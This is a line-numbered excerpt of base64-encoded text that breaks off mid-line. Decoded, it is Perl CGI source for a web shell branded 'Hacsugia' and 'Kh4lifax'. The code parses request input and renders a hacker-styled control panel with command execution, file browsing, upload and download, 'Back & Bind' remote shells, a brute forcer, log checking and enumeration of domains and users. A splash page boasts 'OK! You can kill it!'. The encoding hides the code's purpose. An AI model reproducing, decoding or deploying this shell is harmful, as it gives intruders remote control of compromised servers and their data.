1289JSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9
1290CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkK
1291CXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsK
1292CQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5b
1293JGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZh
1294bCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIg
1295aWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoK
1296Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1297LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFy
1298Z3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0t
1299LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1300LS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVu
1301dERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05
1302XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+
1303IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7Cglwcmlu
1304dCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNv
1305bnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+
1306CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRh
1307bmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDog
1308ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpC
1309T1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpC
1310T1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAx
1311cHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9N
1312OiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsK
1313fQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDog
1314ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpC
1315T1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsK
1316fQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6
1317ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsK
1318Qk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNr
1319Owpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0
1320ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9y
1321OiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRh
1322c2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFu
1323YSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMz
1324Owpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsK
1325Qk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2Ug
1326MXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRP
1327TTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZp
1328eGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVY
1329VC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURF
1330Q09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5
1331YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046
1332IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoK
1333Lmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVy
1334IHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4s
1335IDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5v
1336bmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDog
1337IzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24g
1338Y2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJt
1339c18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7
1340JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIr
1341aSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0
1342aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0
1343IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsg
1344YWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+
1345PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVu
1346IG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5
1347SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25z
1348ZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxc
1349XCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3Nw
1350YW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0i
1351IjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9m
1352b3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsi
1353OwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5h
1354bWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10
1355ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+
1356PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicg
1357dmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBi
1358YWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1
1359aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlk
1360ZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVu
1361dEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxm
1362aWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8i
1363K2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxl
1364KyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5
1365SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2Zp
1366bGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8u
1367Zm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBt
1368YXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJv
1369cmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0
1370cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVk
1371aXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5h
1372IiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2Vy
1373dmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4g
1374fCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9u
1375dD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFu
1376YSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJl
1377Zj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFu
1378ZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnRE
1379aXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29k
1380ZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9u
1381P2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxh
1382IGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBo
1383cmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8Cjxh
1384IGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJl
1385Zj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEg
1386aHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdf
1387YmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZv
1388bnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0t
1389LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1390LS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0t
1391LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1392LS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5
1393cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRl
1394cnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5n
1395ZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRN
1396TCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1
1397bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlz
1398aGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5j
1399dGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9
1400PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5l
1401bGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0
1402OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRU
1403ZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1Rl
1404eHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0g
1405InR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFs
1406bC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxz
1407ZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAg
1408dGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXko
1409KTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0
1410aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykg
1411VHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVu
1412Y3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3Jp
1413Z1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1l
1414bnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlz
1415LmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0
1416aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMu
1417ZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0
1418LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0Lgog
1419IGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhp
1420cy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFn
1421KSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsK
1422ICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47
1423CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0g
1424Ij4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0
1425aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZm
1426ZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0
1427dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0g
1428dGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVu
1429dENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRo
1430aXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhU
1431TUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlz
1432LmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhp
1433cy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0
1434KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0
1435aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZh
1436bHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAg
1437ICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAg
1438ICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVm
1439ZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlz
1440LmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxz
1441ZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5j
1442dXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJy
1443ZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIg
1444PCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5j
1445dGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIi
1446KTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVs
1447ZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0
1448aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5j
1449dXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhp
1450cy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxl
1451PSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5LaDRsaWZheDwvZm9udD48YnI+
1452PGJyPgo8dGFibGUgYWxpZ249ImNlbnRlciIgYm9yZGVyPSIxIiB3aWR0aD0iNjAwIiBoZWlnaD4K
1453PHRib2R5Pjx0cj4KPHRkIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJodHRwOi8vZGwuZHJvcGJv
1454eC5jb20vdS8xMDg2MDA1MS9pbWFnZXMvbWF0cmFuLmdpZiI+PHAgaWQ9ImhhY2siIHN0eWxlPSJt
1455YXJnaW4tbGVmdDogM3B4OyI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj4gUGxlYXNlIFdhaXQgLiAu
1456IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4g
1457LiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD4gPGJyPgoKPGZvbnQgY29sb3I9IiMwMDk5
1458MDAiPiBUcnlpbmcgY29ubmVjdCB0byBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAu
1459IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD48YnI+Cjxmb250
1460IGNvbG9yPSIjRjAwMDAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+flwkPC9mb250PiBDb25uZWN0
1461ZWQgISA8L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYw
1462MDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gQ2hlY2tpbmcgU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAu
1463IC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj48
1464Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PC9mb250PiBUcnlpbmcgY29ubmVjdCB0
1465byBDb21tYW5kIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD48YnI+Cgo8Zm9udCBjb2xvcj0i
1466I0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD5cJCBDb25u
1467ZWN0ZWQgQ29tbWFuZCEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNv
1468bG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48Zm9udCBjb2xvcj0iI0YwMDAwMCI+XCQ8L2ZvbnQ+
1469PC9mb250PiBPSyEgWW91IGNhbiBraWxsIGl0ITwvZm9udD4KPC90cj4KPC90Ym9keT48L3RhYmxl
1470Pgo8YnI+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+Cm5ldyBUeXBpbmdUZXh0KGRv
1471Y3VtZW50LmdldEVsZW1lbnRCeUlkKCJoYWNrIiksIDMwLCBmdW5jdGlvbihpKXsgdmFyIGFyID0g
1472bmV3IEFycmF5KCJfIiwiIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlIGFyLmxlbmd0aF07
1473IH0pOwpUeXBpbmdUZXh0LnJ1bkFsbCgpOwoKPC9zY3JpcHQ+CkVORAp9CgojLS0tLS0tLS0tLS0t
1474LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1475LS0tLS0tLS0tCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycwojLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1476LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1477CnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpewoJbXkgJHRleHQgPSBzaGlmdDsKCSR0ZXh0ID1+IHMv
1478Ji8mYW1wOy9nOwoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOwoJJHRleHQgPX4gcy8nLyYjMDM5Oy9n
1479OwoJJHRleHQgPX4gcy88LyZsdDsvZzsKCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7CglyZXR1cm4gJHRl
1480eHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1481LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkKIy0t
1482LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1483LS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQWRkTGlua0RpcigkKQp7CglteSAkYWM9c2hpZnQ7Cglt
1484eSBAZGlyPSgpOwoJaWYoJFdpbk5UKQoJewoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7
1485Cgl9ZWxzZQoJewoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7Cgl9CglteSAk
